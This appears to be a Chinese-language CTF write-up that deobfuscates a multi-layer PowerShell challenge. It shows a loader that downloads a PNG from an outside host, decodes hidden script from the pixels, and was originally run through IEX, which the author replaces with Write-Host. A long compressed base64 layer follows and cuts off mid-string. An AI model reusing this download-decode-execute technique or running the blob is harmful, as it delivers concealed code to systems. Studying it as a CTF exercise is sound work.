# 3.ps1
$flag = "-873e-12a9595bbce8}";
sal a New-Object; Add-Type -A System.Drawing; $g = a System.Drawing.Bitmap((a Net.WebClient).OpenRead("https://zysgmzb.club/hello/nctf.png")); $o = a Byte[] 31720; (0..12) | % { foreach ($x in(0..2439)) { $p = $g.GetPixel($x, $_); $o[$_ * 2440 + $x] = ([math]::Floor(($p.B-band15) * 16)-bor($p.G -band 15)) } }; Write-Host([System.Text.Encoding]::ASCII.GetString($o[0..31558]))

得到的内容还是被混淆过的，根据文件名能猜到可能是被混淆了三次，一层层解混淆即可，在脚本开头和结尾的”???+‘X‘“其实都是 IEX，让执行改为输出和上面一样直接替换成 Write-Host

# 3_1.ps1
(NEW-oBject System.Io.sTrEamreadEr((NEW-oBject IO.coMpreSsiON.DeFLATestReAm([iO.MEmorYStrEaM] [COnvERt]::fRombase64STriNg('XX3briu5dt2v9IPDPgbsYElVpVoi+BIERnKCIA4QwA80DgitLekhYJyAPm9M/j3FcWGpDTQau9XaUomXeRlzzDF/+9Nvv1+/yvXVrt/x+hWPf28/aVvCtobt2tZ7XF/1tqftma5r227ptuXtGm7XsL7LtvR169tX2q/ltqXbLa9b2675eM/6irfxf9v1Xo8PXC7t+istx8c+2/WnX/e+HV+3t+sz3B59fdf1ntZXuu5x/HMveJJ6/QrX77T9tP0aty2sr76v6Xav6zOt2/HMYb0fX5S2tRz/uV3j7R23r7IvYd3q8Rj77XhDuS1tPPPSr6+4PvvtEsb/WsLtuxx/vv2K27Mvj7o8jh9StjUdn3N8y/pO+5L3tezXdjs+5FXWva/Xti91W+t+zdfvvP2M/7tv9fYK+xrXe7s9xzpcXwkP1o5Pux3rcyzIu+9fbVviDc+53/LtHtbl+BVxW9rxQ27PvF6Od9Ztybfvul7q7Vc51mp5pOOf40mOv7geq7cdj3f8nODHODao347ftR//mdd3u10T/tf4FdfvPpZxPf5wLGxdjn9ueVnjci/LsV/HHy5N/9zi+L/HK0s5NnH5Ot6WlmtblrSsdbkcr+djx5dLX259+QrL1paveLvkZSvH/1rW8Yf1eZyTY4ny8t3WS16PTbkcP+RYc/znsYPXNP5zb7ef4/VjX4731/V6fNHxzrGD63a84diCsO/h+Jz92PFLWr/LOITHX3wlvD8eDzD+c+u3vY33b2nfj8/v+1i3sB6bfvz7cux4GW87FuQ7j1fWMP76sciP41uOv3is3vGHfnz+OKiXtB0bNP5iXY69Ox74+/hYvOGZ9/EX6/LVxl88ftezjze86r6X43tvzziec88bf+94/Xinn2eP23187Hocdfyu23ccH7vWbavje48dPNbtWNsljo89/u7W8Zzj3h2fsN8L3t/Gtxx/eI1VGs//iHye28/xh7A9jucfT4jHPtY5jCW9xO2Rx39eyjI+NuL58UOOUzfW7bhQfP407uDYr4jnacsVX3ScpQv+8OQPDPtjPPaxntt4fzqeE28IyxefM29jH4/nCTgP7bho4/Xjee5jGY/1H895rfjeca22DT/k1fED6/7dsV/Hz4n4/IznGUcR5yqtvCz3gPXpy1iNgHU7Xm/HeuLzMz6/Hs95WCGs//E5Y0H2e8NzpuMEYj3j2PfjRvzgbcd64mPxOd3PM37vYUnG+rzHt499/8HC7ji62t+E79Xr23ievB1mYXxvxXoe63y8EwfjdazbcX4i3n9871h5vF5wrrhuYazPpfuc5LFuP3yeinsUcU6OV8r+GE977COOQTnWB3+x7Q8cmzVincPx7Xx9WbDOx/NgobCe4w3LxvdzuY7V7jhRvEfH5x9WCK+/MtY53p4B57bj/uZjHXBO8mFAcH7a+Jk4J1jYin1M68p1a8dpxL2It5+Efa/Yr4BzOz4H5/84t7wm43lw8cNhr3CuGtdnfZbxh2Mfx3Xr4z7i9253POe4L9x3XMOxDlje4/2PyvOAdTjeH7EOvO9pfO+ScT7xc3SuCu5R4X7BsMR953omrM/x+R0//DCPgfdo3fAXX3ns4/G7xnoW3DsYnDfeduzLF47Z8bfGD2mHn4VBO+5j4DnZxgEOw8PSnjx4XyI+5zgn0eeH9ofP2bYHruGxbpfA33ucKOwX7PDxe5fE9cQ+HvvLBQ84t/j8cW4LzgP2d4MZGc/P35vwvcd54D3ltT3uO47lOP/Y7sNVXWCQn3HY+cO5XGD3jt81Hq/g9T4+51eQHXvieZ62A1/8fB6zgPgE+7VyXzI+//DgsFeHfXvC4I/noX3r8C/t9sC5Gvel00/xoC7cvuPNG06gzkmw3U44DwFegOuceR+3Ow72WIexUIcP5X7hnibcu2Holgu2b9wj/MUX/ONxHuhujnPLz3lpfWDnC84h/vDmvT6ek/ex4UkOO9aHHT7W7dG0znc8wAv/HvdCfhmfc+w+7svwO1X+ZdjVCnuF9dwa/fW24X69aVf77UG7mvm9x/3Sfj1p/+0Xxuc0fD7s4VifgPcX3JRjfWA2hx3Dg43nx7laiuzAk36tYh8Pv8n721fZn7rz3skuRdvhusq/8P4m2LGOT4Pf5D7uPCfHvYD3Oc7JL9qljH0puEe0Azhm477Dfr75F484BGEJd3msc9frvD7DHgasA/1Uwfs77C0u/hE/j+cp+x3nc49Yz6B4Y5x/Pk9fFT9k3etf/L0dfrbiPMC/X6v87LPwnCNeoj1MY3/HPjbs+7DYOIcN53ls9HHqYE8KPj/gc2j38sZz/ovnKuN55ucfz8k4JOn1V1F8xUBrbbexoRmvZ9htmLXjXN2xIOPzYd++it7/Qz+Cfx9+Z49+fsaBEeeq7tzf4x6d9gf+QvFJh52kvU34vbj+x7llvPEs45OP8/xNP3X468bnGTfxWIfvJL/25H2hY23LFuzf+fz078HPnxDnBO8v/Sz8y4XnPON7441mXH6t4PzAHspONnz+4Tdx38f94vur1wfn/IgzH7QzAXbjOA+wZuN8Vj0nzP5Isi74vT+It0fcgk8Y+xgcZyJeejLeo6E+1o3xSYPb6rDDGecW/3nYT37vi+f2sJOdcRTtz/FvxMNxWekfI/x7ht8fN8XxG+PGLr92xC10f3tGvBqxnnl8PsK/sY93xjNlQ5xvv8zzc9iriOcv2K887p3igYLPP+JGnRPY5xFXY7864mTeU7zhjd288mMZt3fcl4h9z/CnGfvIcxIUb3xHxrG47wF2OMIudZyTvjHe5r4P+1Nof9bxhmH3mDfdHrKfPPY4jXj9h3ER7UmX/zrOLfMRnZPu+CHbXoWVB/iZEE9m+MGEOA2BwSvgczrSimh70rFu44uQf6Xh13Y82DMg/zoSed6Xgrii43xG5AuMhzvuF+N5nB++f/gdxjlN/vqO4zf8YKK9RV6QFuaDhx2GnTnuxcp474d+pyIOGXmE4pBv3VM8SUeclsbnP/pH3DLAB/pleNuG38X7xbguII6lH+f9xelS/I913su5niOecbyx5I94YMZv9O8BdrjinvJeHycHec0D0aDiedhh5DWwV8jXmFCPdavwU5n3a/+m34lcZ8fhab/7POw6b+OBR9zbmW/iuHbEXYhPmOaMeJVxNbZj7EthHKK464kVO9aBx1vx/LAGTBidx1Xk18fvwn05zsldz8k8+rgvO+P5hc8TYc+dV47vDYpP7oH3CPf6iPe4LxV2LNpvFsQ/FfEG1015jfK+EXfN+Bl2aSnMa1aez/E8XJ/o+Ip+Ddd87Fdhvo/1Ccqj/7DOEfahwy4VmRfbDXwaztUKv6P71XDvmBcwT8clGuewY33KQgRgp19LzisDnh9+5xkYnysufXLdaIdHPIPP77LDq64z4pMw7NI3z+exzjwPiHPG6zyfBesZ8X7aVeEA8F9R9+h4/6+kdb4zr4cZHPcObmLEpcIfsF/txjBj5B04YG/Gw2lheLM2whe+p8f68HyWAQnq/jIOZHzYeG23B/PKcGPis9LNFdhDnrdm+8DP7zrnv7rwkGd3vDF+0U6zoHi1wi5lxMNF+Tvvy4hLo/Gf7Lwg4Bw2xCdZ+BjjmTes3IW7HIb9vzAvLgwMlmu3fW4+J3j+L9lJ5kewA1jPX1G4wTZxqmS/AJxE60/702A3sA58fdgx2NuF54H4T4Xdnn4Kfl/xMz8nLTQ7ijcq9n3iIdn3qOIcduMAzfe6wX91xHvOO3AdcP4ZB/Kcc9+z8s2xDlnx4b0yzrRdZRwVVhquF/K+gW80xZk78zsljPt3MB7ScC+4bgF5zef+Ftk3ZM3IL+Cv74xUA//tfKciDuF9T8pH6LDGOiOfehb5zQ2G4o1jPOIr41Q/zHOD4xz6tS57yOxvwNRczwr/W7YH8NJx3rr9L/1F2ok3rlH45CX6eZh3d/mXO/OgivUnbjZwVKx/gd8flnB/BMV7G/MUGq6muGvE27Rv+Pc4h9yXbryLN6vhPCNPJG55Z1yXhYOt+NVjXxinVdwL4IHC/fKmddPzrPKD9FOH38QFl3/MwIGLcdFiO3bYjX7jvgsP7LhfHfgk8ajI/QJOEuGX23nvVprxinWDPeEXrahxjP2F+T3s5LPIX9+Vh8re/krEbYyLIr9Wngv/sjSuP/L6ijgtG5cjjpRtDxFXbPSbjJ8z8sqxv44/s+LDtehcPbnvuI/KizvsDO7LqzmvLB84YbN9qzjn8F93GMwXrOuxnjpXEQ/csW7Yl2+uT0a82hA/4J7SPsz84omwbXzOfP7MeGZnPMl4b9gr4OoPAsgF61ARb2NfCKeMfFw4JAK5ju/l+vj9m/ANBkjAMQrsnvJN45/Fn4PX3/j5wx521x2647RpN1BH2OBPH0W48XdWfor0DXgp8vpLcb75kZ+OvIPxGOHKDLtKvCvYX3N/YQ+F/8Bf/+D1NwP+sPNtI55hnExPlBeWM3bm9QW4TXYeFB0PMy+rjsOZ13efn2ScsBq3CcD/Ya8IJ64TT4BDGf5UdhX2oSIuJb7KdQiETZDX054obrcfjIrbaaZWBuqOssb5ScZzCtat85NdvwjIvxpwS7y+yv4Q18L6tzP/HfEA85cue6V7Tb+TEB/icxauM+/7xDOb8+hmvDpuvC8/UfjwU3gFcUL4uxmnJTx/cp7Fe0T7w7pVt3+PK/Pxh/NNxnsjTqM9VAKIfUfcyAM88CXk44+m/XoKl8BBJe6aHK8m+524M/wb+8g8i59fHN8SvuC+83wyPozwU9XxNvGBDJwKr7yIfx55GdZhZ8RbgZMgnr8Sr2u6jwyDB64YjY8xH+d68vkj7q/yO/u1rHyEADXrC8fzXHm/snB4wt0j/q+s7yg/ejMPitidintR8JyMb+vOAseIx2Q/uT6Iq7PtT1Z9R3gRcXXhAAxosZ7F8VJC/AD889mMJzCeR11y2HM+f0c8w/iE8R7tVZY9Ub7WYQ+Jz9DPIt8Xbpwcr3bsF/b9kYzXhQ+/H50/Rtlb+d+285rQawy7pwIW0dcRD1zoRxqeP7reSntS9DnCLSNwHsYbPoffzeczGH8ormcl+Efixli3sf7z9YjPJ15KPJP2mXll1j2lY1qdD/I8j7i6+D4G1qe0/voc1l+q8vFxznne8kc9K7gOkhBvMG9lnSLb37E+VYXHjt/F+DYj/iSuDpxqk19YWUdmvX7YB8btbZMdpr8jntDwvcH1keZ6GeI64SpVOLDizIb7G1ynBmrNOPmH9aNovDd+4OddON6x/sYfdO/enecT+VR3vJcRHxbHAzwnzO/wtMO+6ZwwvoXfRz2F9dZh9zrzTdV5VU9nPSUgf8e50ueQh9Cdt5Ybcfux/rPun10vQP6r38X6WkRdqRtvzMhPcR5YYBp2Dw/2Rn4xzjPj5yJ8W3FaQb2MODDxfNbjKtYHVBDFCYXxBuxhQdyYmN/xou28ODtxnoy4tCF/SbL/eBs+JyNOCMYNqvFG4Ng8J6Ou1OB3CnEG3K+OdcOTK+4NWs8R/7Del8QTeGTmXxsLT68mnGdpqjfhc1CXQf7Ct63EkRLiNOQRLCMKh3ccOOsmK/G0iWfSngPPXIh7N1ZyF4bZo57bHZ8jviL+oLp5hDdB3e0X3x+J3x7nYVXcmIxTMd6A/ZE9x/PTML6r8Mxf8SP/6sKfj3UQzpyAqxD/zIh/mtZN+0X8Nutc2Y6d9dMtK86RPaT/4r4TD8dzPliPzssy8dj2gf/Tn848OiFvwutrlN3gPRrxAPadbm7VNYSdxzkRPkw+TIb/gj9ai/0g/XgzHyYJxwbtxLhZ+MANGA+wrkS/PPML+l/E/0vVvWNe9iRfJcO+NdSjG58fBuqI97rrld24B+s4XJ+mesrL9bWtuq5UiCMpr7kyriPPgfYhIq6rwrUcb7CODD+COAf2fCON4TiHPzwPQbjreJ7m+kVEXKHnUb3s2/kOtgl2gPgt8a4ZT4J/Mn4v7a3x8Bf3JRKNgd3gOSnChX7oB4PsiepHCfUC5O+yq9zHvJMXJHtbwE/Aul2L4+To/K4Cb6cfJ7xTEG9g/X9UR4NZa7CTiMMJm6wsZDTjzFnPvzLPjYgrkD+qfsTCSneeyHiymn8VjOcwrsi417QbqGsPv8D6UVwJgLyZ//YbgZG1ruLFZeHP2nfi1QW8KfjZnyjc7z7vF/1Fdv5IXBr1et2vbr4ZcTzaef4uHXvUW7GejH8GjkQ8obju5jiEB4lxsvx7dTxfcd6A410n7sQ8hfF2FI9CuE1xPMl6FtbzqXibAMLC66B1qMD9RgTILAb5aSaeSceqOunAoyJ5C65Tu5544f4Gff61uW4185eEfDbLvwDPgd8PzkOJn886MtdH+QXyoA7/y+f8jG8Zt2Pf7/NeE99QPZpoJOKiSJ7Grs9PzgtwAF64L0c8z7rVtA+v/oGnoT77o/iTG73zQo3nZ7yRVH95ZuIwwlHf2iDc0+44PMEulRN/WI3nv4nfRtTZZ32q2v4H8XPGuSr077xfOCfZeUEEvwV5Cukxiq+ScE7htBl5Svyoy+fbQ3Uc8XN0fiLywe516LIbI840HsKCAs+V4uoC/yveBf3FQnO9gsCMOBM7S7sB/8V8QfawmJfYWfYFbtBd/yXuR79Wlb9f28e57WJ96FwB3+BzvpgX19usswvPZF7Txd/Ymb514xiOn+UHC+KcicPE8/1cxuEfFRfRjyMeZp7COIT1+oJ4D3nfNuM34qL0d32X3SvmBfWdPNJF5400M5yT6ryJuFNaxf8EP+Gp+o4qWbQS4zxU4bQ/qGeJH9hc9xEfGOeZeRPr0Ulxvvh4faEZl79I8BfN8VVy3kReEM4P4y7xVHmeWT+KihNYnx1+JJ5xrHin3Tges4MMfhHtf1S+uSTX9Ypxp+j6F/wpgbsnEpyBDzO+yvYXXXUW4ahFBNFn135deP5J6+0n3qg6eF1ZR3sl4UWkeagumZU3Kc7vxjcm7xTZ0CXYD1bEOcDnl6h6x0L8MDjv4/lPt0X4EgNR5V/D7rHOgjhc8Vg1PyRspLeddXPiqMQBuuON5HijiQ01zltSHV/4ifEfPBXuRcb6K/F0vabeeIDfItLg84lbFtfHI84h63TdvAXGz0ccy3gjsL4DfI88q/ZRH4n4XXj92/U1OnT6hStphA32kPEY/U6AHSD/kH4K10d12zjriRvpjsPOROUFNDji0xbXVYPyd+FCbSFcYPzcfBLns+OcRJ5zredS5EcIzD6Nq4uvknCjq/gG57llPtWMY3TV41aGMQX8tIR8atZ3MtYtu/6edd+FwxQCCzsTmZ382Iy4JX3sC18//DLrRPUm3lowf6kKP/mKjh+YP3bXK7PrAp12QDyuryL7SVz03ogLmZel+unMa+BHiuOoeNphBuriA09+XRY/ZE3C/UiLUlwEntVZf8fvJYy2N9X7XgT6yL8F/ia+KF4Xn6rbrwWsG9ZZPHPl6ci7wY+SPxWf3/Fhnvcar0esJ87tlXEL8ZOsuEv8wHrG1cMOFOPJ/L0Tn0e+c+VzMixvuF/ROGd1v0NF/g4cmGnyGsR/Zjwz7Dbj8+R8rcJ/VfnrvSpjekXznDP9kSpxz6K461t+2Xx45hFB+PBKfKxtTDN1bll3Y/09Ko/mz9/jvF831a/lrwkL4Px/4t6s4yTxxFQnqrOuh3yE91f7SDuJvGPmEXX2a9i+Bdw79HdcmNczYFD1xH6n+3NYdinOL6ryrIGfVNt5+l8EBiNOVty1beIhsJPFftOMa/YjiE/S7I9YrwdPmDD+WOfmPLTCzifXEarzKdbNhZNv27xftA/K9+HfbSfHuVJ+xDjQ+Wwx7sHXA3BC3FOGlztxgAI8DXE783HxNyLwB/Kc6ZfJa2XejXPyUP3OdW3iFfVGepLq8ll8nplHrDJf4Ecl8/SC+2iC6nqjzpVd72B+rfrjrrokzWbEPWIc0uW/7ownsTviicUzH3kRgA3m15F/mNHPQlyLfqeL3/LGARs4YVCewgP8CsbfgvLNC+OxoHMlfIm8CMY/wFF/aJea17Oqb4L1R/EoOuwz4hDVpyJ48gF4FOOiGY8x71M/i+o7axJ/STzetrAitkbzOor5V9X+l/lL/4i7inHy6joy/R3rHfCwioeT4hbhY912jPDUzJuqcPjJD5Edq6g3zTitmK+VUTdknJ+EywnPjDrnrIM7rzFvPE++2brN+9jg7xgP8z4W405Z+Lb6QchfCubLAefh8zxkV1Uv0HMm867n64zDi+ti7FsBDiM+j3HLL/MT1IcVmf+y28L1rwrcrJjPEOb+nnnNFp2/83MEQC0XnyvZq6h+q69gP1gZhxtfCvKzyqPJI21+nm770NVnx/hqJw+z+r6QF9rsxxPitPgRn0fxFlxH8Hmr4o3M579G+U3hgc67yf9XHW3i1RX5Tsf9Cqt4HdF12w9+tfxRwn4F2L3Ce0ceI7PsldVk4UIzT2d+lJgHMf5ZFsXVuu/CMZryxNm/Q/xEeEUx368C559+gbxo+tmmuhsD2mHPA/F8xQns21J9thhf6sZPguMf1wvE386s42xsTxh1VZ5b55Vvx6WqUxf9roEDBPcDMn5D/qv+FPIBJn+goA6e3KcTfI8a6tHTTpLnhoMkvKjuNOAjbokfuEECnoC6A/II8xWD45Yiu/Ry/+OvKH96YV5vngzbFtSHGz76KHWuZv+U6jWyYxEG3HzLgasU83mIe7CfsRufn3lu2s7zRjwW3/jOqkfTXu1t1jeN0wq3X3mQhJ93fA7t54z3WC/j/lbkuem0hzTjyt+jPmf+3lFvZT2XPKjsOvJ5bhn/gPdLvhzzTeZHRXyPnXlWVNw18lDVicRL4X2/NtvV6DrRrON0xf9P+U3f6+7z0xznAAebfbvuU9sYn+x8TuJs0XaS+Xg1jyI4DkTjP/kDxJGeXOcCu8o+NZ6HIjtvvjTjQ9wv9Pn+MI6N2hFa9XHfm/0X7Ib6NJtxPMIRfB24/dPnWXw/8dhdvwvi8fKcDxxPceCmOBzHW/yoMnEP5AvZcfuJ+4GHCfyZjU7OU8wfyO5DnPaqqC6pOj7xVZ5bnh/l++Tbux8zq69W+EYCDs86he8FCWPqf4zmwZIfYh7gpZD1hLpkdLyB83ktOm8w4+YdZfMuouIE8XM6/N2816znIu41j054IPMg9Wuwfkd8owoXYsK1N/EQ3sz3E/xCN04SnDcxL+Z9b8aFyPcr9gvd9Vb4WdJ9VQ8qyutHvS+y7rmSkPOu7tsSDib79pShc32H8fzkvXfE/+ynKMav8ir+KvzFhfkF8ynyDcKsSwrdGvelCP/ERcC5Qr1G/ReExSqeHzxV92UQ3jReQZyE/pT3Wjxn5OPZ/ThJ9dzhZ3n+i/sxk/qh2DdtPQHkF8F1TPLH4LjJSx/4ZHe+wH1hnJP3b/sRJqosW4znrMYriHMG8e7kj8L0a+a32G+q35l5pfUcFCd06xvk2a/HspHjAdZxiIfTv5Mn3EXn3q3n8AjmHSWdZx7Ukafg/hKRG+vAuIJ9sgG/F3mu+OqsExEXnX3cxThPMU/P/WXvSj+uOHNt5nPi3wMnZD1I/EDXPc2zHbg6cTPkNcMuOZ8C/uDz3FFXau4XYL8qzucv18cX4cOuy3fhD6rT8YJMfiyvG3FpPmdQvsk88ZHVp/zFeD5NfNj10K76+DPZD3bXW5GfXqrrcc3PmVyPiJMHshOHlI5BhP1v7oPDvnNB3lV9nbLDxGcScDx87y/i+Yn8f/gpxp9cT+LtjN+Y/0bFG4p/aCfzjIe3bfrlCFyReIjiN5xP8q8i8QThh6y7jXivmbdQYW/FF1Vf5159vxTYuz+d9eUGnhLqj+xHFn4YYceC+cZ4TtWps/wg41vhqO1jX5Ls/xK4nornGaepLlMQJ0fXQVjfYf2oiZ/GBErnoYn3Mux8V/wge8i6djJvIbrPJUgv4ld13MW8Mjoey8Jd1VeFbR35HfexGJeO8uN0x6pfsE+hIk6OqtfAH4lFr3ywfPTFNOOWyXlBdl0ymw9WkZ/igd/N/blF+4vnAa8A+SzTduVTyf2S/ab+hWCev4Q1hIuqrtTch5KWNXlfeI+y9CK+uvMCfMW7q/5Oev+a7AddBxfuF9z/rrqn+B7jnOOHqz+L3TSsZ/H80O6Rz0A9GdqfovOveCaZL4flGnkN96UqUlIfdJ35kfQuVKfo8I/dcbKzb/GBwde6FONFzAeD84Jm3C85vmU/Y3OemFbxsYmv0t4GxW8kdJl/pXUY91d+Vn3HD+8veZU77YPXR/wHxGk8b+IlTh4Uy+sNPPDoe8f6bCC+xD/sep5Ivop0UVSPYL9VYj6F9W+wq8V8ni5+5rBvfD15/XnvunED5olB3UDCH+iPiBtX9aVesuun3XgL6uzi4XPfq/t0pl0VXwU4DPn/WfVu6RII8MR5rtadKMgTgYfPuhvwQ+OExfotjlfFS68LyzEr6VhZfT3CA6n7gf26u7+PuKv6r7P7/YkzF/Ofi+rU12Z8O0rf44mC5jW7H7npRL1ZB4w3xeGFYQDsBvOa6HXoH/elmB/bhXs8aQfInwnmkQbj526vcF0bdV7EvbLDQQHSKyneFl+0/tu6jHCP6nOrxjrkI+SZJ8ddzfUU8N43+ln2H6VZP7rxBzKOOvUrqvFDfJ3w+cnjom4P8MOL6t2KJ//QLzz56sE4Q0Sc2Rxvd9nzcb+66td34Sfqi1F93H3Bb/zniLvoN4v62ujmlK9l9wtQd6K7Pht9nrt0omb9ei/mIUfpqBAHW50BPV2v3BTXqQ7OfsZRX2D+QoLfxLfJfwi+dxnrxvPMe5TUpyb7w/5r5O86h0k4/6+J5zPeruZVRtkr8W/dXyO+FvPl5D76PPldrmd1Fr5d/8rqK7/DcavOwviqM54hjgG8ffaz00/Bj7NxY+W1bfCz5D1G437Ee5mPB+mK7PRrDfE/8MAf4ord/Pzm+LmpDqj+Kebv9bzv3Gjx5NnFCT0xEtHfgXmB+y/Y98G+yLyqz7G57jz735kNBfcjsD8aeODOe8Trbxx+xA/BeFdfpZfV/PzUPWjEk9VPdDWOce5jRl2jOK6ApaVuyegv4P1SOyH8RV7VL0zctTFuUV2JPL29W78u6N4JV2/ML1T/Em7POiz9QlA8tnbdR75fuF/QuolvPPlRzX1nDGPIg8J+MV1aRVNB/IzzM3kO/L1P5h3RfVtFeP5r8ihsz9kvJny4mp/W3FeOxxYOFmz3iOZl7wvzmgz/xd9FvjHj2ImfU89HeJF0bFhnGfEwcTASJpu6utS3O/mi7C8DLrT49yLfP87zTevPeDJxfYx3sb+yTb4rfi95486L6ZefzFuT8iD1JRXxqBV/ZvDSiYuqcd51/KA4X/zY6udnXa9I32Ocq1nf7Kt47N1xFOqz9O/UgVE9qxpXbOjrwXOujofZL/kCYX7ka8QNiurOqptk9yFKVs6vR/f7R/UnUldH/QKsx3XnF+QbBP1e6myQRjXjot39jMpbDXOtylsRF+GefjWuj/Fevp95H/TWWAhjf594R8n3pbs/Lu50E2tWRCFdl8lT7dYhZJ/CxL3LdvLSabej7DzrC++sPtbvoLqJ4gfaYfKcq/v7rIc2cDmEBzt5vOw3QT2XZtn2B/ub3fcx7xf1M+u5L2ul+1C8qnwtuJ+X8WRwH25z/1SRHtTIL4gvkQdIO5zMj538w25/Gt0XSdiT8WFxPAxeh+pTwp+tx8V0O7g/tzlPzLJ7b2zc8L/d9VD6x2I+KvG05PvOBCErz3KeqL4w8cOT7eHUpQnuC2YYRl56+sO9Fs+HfIasPqa9SxmM+qtj34X/s57ivCMCR6rWW6jmgTSc/2bcI4jPMPLo7vMfXUeYOH+w7k11f/Hsj67sj0a8irqG9rfIbqu+nIVr7dz3D94I63crYTrqQSFPYT/1sLezvtPMzynWqyTO1t1XRT9OHkXwOiTVHWhIn1M/JH88T0E8UBx/NtdbJw+hms/QgNvwe5vjk5P/D9wjuO7AOJl5BPtEup8zCid50A7nk/cuHQniIcRd0UfPBEc4FfXrsvHJfPLzCRyZFwH/y3jDuO4y4yvq1fAcTp0x9xdv6cMettkXaX9R1a9HPH/ED0l2j/3Lz+Q+L/7epnoN+0HE98Bzqm5e91PnFnwJ4pxv3IsRVyTXSfMqfQ/m6cLDydsEjgocjLDhPnEAJqRFvMTx/LR71EXJC/WZ3Qeh/rUr9aij8b0ofZhrtQ4A97dspIuL70ddmmhcC/n15ngSuJbwWOFUxNWT6/vIX5bkdUNefJ98pOB6EPOaLjusfjHjDOqPoF4K9FgQhyMOKY7zWddrxK+Y0Clu3F03f2XlZeSzyT4H9BPBTzHP3YPs7Zt1tL5P/jz5DNI1KtK3VNwy+19m/d0KKsQfxKNo5htEVSfVXzz5n9V1HNZhq3Ek9kEAl7gad2X+8mb9q7pvi30xXTo8oz7etY8wONLFUj0C8ZX6PYPqIKqPdPoX1LWxnkv4iIe7eCni2aLf51Jdb814/iqcFoGidYyp+wqdmYtwGO274uRE94f4hLq+mfgM9U+sVxBUxx/Pzzw0E+BSHXzqI6mPvpvvwXo0BOdlb11XOvs6P/UlmMdRhyE6706uEwXzqIv7y7r73artvOwG1jkpHlM/cjfOk3FPcX6Ek1DXpbm/W13J2N95bnEflZcl9Snc7X+JwI/XiasYp9J97Hie5vuYTh0/1bVZ0AzqX9hnvY+Ovi+EtXc+Z3GdMQBPy9b9pj4w6iAkxqvu36Xfe+H/TcaLqvomhEMy3qBd8r1m+CGeSRbecvKT2XeThOePPCvKj3/2Qei8ob+e+PCri+esuDcbtyG/sUt/fjcywPzujJNZt42Kb4UPI65mQ432PZtXUM2jy4rnWUbZyQRgfMW6JP1dEA/hbd1vxWPZ/cvJfVvc9+K+1CQ9AfWHZvOTk+77I7pO3W0nYR/Ur2T+DMso0s3O5jE258XRfUNJ8RX9tfiKxEOqcfVwxlfz95IfO+KWJn998nm69RZwX6zL7fpslX2A/bGuFPP0PPuLJ94oPXzlF1nxm/hOxftbnY8k8Vr3aD3VLH4Fdek/9Iel87PKv896uuL861wf1knF84G9OnED3F/EpczXVP+t53l7Ko9W/e5ZxNuRzgnrkpNXmY1zUt+mS7dEfTTsiyeO3YQjUWdJPMxoHKlof2XfunGPpH498T+57xH2wXmi7CF0DFR/nPzw5LglShfCfW34XclzGYr5GFl6vMM+R8Z7H/MFkL9IX2LqQKrTGetMfnImHii+mfQW4tRNFR/4uxr/nPEe4v/V+aB447MOot+1Sl+xqd9H9c0i3PhZpUv5o3UTfvvqwofdN6S+GNaXx34p/hGf/8Rvlb9IZ+zp/F33lOufp34pWRyO/4P9dTcuGq3vQR67+5T3aPynWJ+T5zyKRy1+RXJfsOcg0G4MXLoJX9U5YcAplpF1YJr1eIkrUieKeRkPPHmV1F1JiGeycCrFFU19edINDvvMc+/TjwTk17SfqksqXh1xvvN34Wxd91T2tqofQfrGWTwf1a8L/CPteTROjjeQfy5d937iz2/rDHwR5yfPPOG+p1X6kMTrIvEQ6VxJz3b24SbNd9gZT7KDmPESccIs/8s4jed5xDNJ9Wv93mp+FPF245MzDvxq4hsA9tkoGyieebG9itLXGv4xfaxPkp6w8qnofCrgeRBXM65YCQvTHpYTn5e9ytbzz8Jp9zjnHeA+ZsRvxbxHx6vj/jbh3qqz9w/9k6kz4/x9xFdRdRkKa7woBJcnP2GjwMLLujrUE9iL56Q09af8fPpTVzOVL0y97iy+ivwX+/Ka6ynZuEe3vm5B/WXW2ePs8zUPP/h3kaeUrLsSzSdnHh03luPVN52sqxOsM9k8b4Lt5I67VP+d/bDZ/Y/tRvqB+L0ZdUniyVV5Fv0+65vSpSTPFh/4zOJZXYryWfMk3Q9bdE+xreZFz3hGQt/gHSX3JSX3T9UzHlia8qYf4rTNfdbEZySr7joO6/LR+DnrvMGf340DJPSvtQ8cUjiJ/U48ddiEm6mzRrr04jU187vq1LVwH0dSvKQ5EcF2SQ01iP+hSyz+XhD/+cp4I5rXKsBK+656KOsyxANnPJ+Iv0kHYGV8VaUPqf448vanjnE276jf7sm4TWS9W3j4JnxA/ch38kwmX6JLF+jRpYcjfQzmKcSLyqp++Waez+Rnev7C8I/MH6N0rshjmTi/+i8q/G90Ha2bnxm8L0n481ONilrPYbcZDyTr12XhHvQsz6y5IeQhC2eo1nPO6jdZ3b9M/UD13UfrBif3v3D+CHgX6m8tqo97bsIHPsP4RHWl7d6MP+B7rQPg+SlJcRq3dU2aG0J0Uf22jIcRbz9EfFUcrvksyX03wXzU7LjC8Yl06aP4hA8dvFPvlHqGzk8XlpvFC4rWBWX83OYcmanfK16f4qgs3p34kJMXXcX3GP6Fvyt89D0h/70W45nN9xH3aKV9aLJvbwEjCzNW5elZ+kUDJ2GdkXXM4j5r5gXkq1SvQz3xN/V3F+s6FuV30tFq7mchrxjnhH78EVVfnroTOK7ADVjXUJygfpBXIi9iV72giCegfors+Vasr2Xp/Iz8dPqp7DoC4j2m/1O39o23Sb+LuhbiexD3AF7H/prI/EV12LNen+zH4d+lq9xUf3926cPIDnTpRr6ycYbI/J3hlnHsLB2VE8eI0lu7ZPNqmIdm9TsQtxTvi7wd2Cs2LFB99+wL655vNfXqea6qeRc0L8n4drM+s+2b8KWwy14xvPS8BvVjhrNv6G7dS96jPUt3RfOYOun6OCesM1rvgn5Nc68i4ofivlrq4EXWGYlMmoccjTOoMcT9p4wfqBuJeJjpns5/dfxc7B95AYvnGUXjThrn5Hw8nn0HFLhgf6v6vNpnv5VwRYa74vME68Il6fut7CvJ8jtn3mHL/+6qb566UqzbFuF70m1m/FOk0ygdy+Q6WjVPo2iu0B90WlhHK8KFWJgW773u8psafyaes+r4zL+Yv+Q/6OCp73vma9FzASRf5vwuqH/ZOnLnuZrz/sQf+9QLqrMfTToM0qXv7tvtzuv7yafivSYva+TvTX5TPFLFn8bZGCFTb2TyH4LnC+Szjil+uOfxsa9NcXgybml+zumnpk6sGtysm5esI029O9cLlD+6HqF+YdZTpl1lvq/6lHWqu+JP6XJ06gHi89sqXm60PZl8oeh+mWb9k6g+3Gt2fYr2IXlOYhLuoTpXsB7yzB+b8S7Wa1S/3tzfQcNoXmtz/z55y834WzZvihewIp6fOECzDip1PxiX4nXld3VZhW+zbGo9yWJdkWb+Bv1pFl6hPrvJP+w3xhWak5isLxdvmhNaXU8nH6bO1